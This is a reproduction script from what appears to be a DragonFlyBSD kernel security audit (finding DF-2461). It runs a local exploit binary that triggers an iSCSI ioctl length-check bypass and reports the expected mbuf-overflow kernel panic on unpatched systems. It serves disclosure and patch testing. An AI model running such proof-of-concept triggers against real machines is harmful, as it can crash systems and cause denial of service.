DragonFlyBSD Kernel Audit
DF-2461 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# run.sh - reproduce DF-2461: root-only ISCSISEND ioctl exercises the
# i_prepPDU() truncation + negative-maxBurstLength bypass.
# Requires: kldload iscsi_initiator ; run as root.
./mtarget hold 3260 > mt.log 2>&1 &
sleep 1
./df2461 127.0.0.1 3260 50 > df2461.log 2>&1
echo "--- df2461.log ---"; cat df2461.log
echo
echo "Expected UNPATCHED: test (A2) [maxBurstLength=-1] lets ahs_len=70000"
echo "  through E2BIG; isc_sendPDU() bcopy()s it into the mbuf header and"
echo "  panics: 'panic: overflowed mbuf' in isc_sendPDU->sosend->m_free."
echo "Expected PATCHED:   (A) E2BIG, (A2) E2BIG (negative maxBurst rejected),"
echo "  (B) E2BIG (truncation caught, dmesg 'pdu len=... exceeds 32 bits')."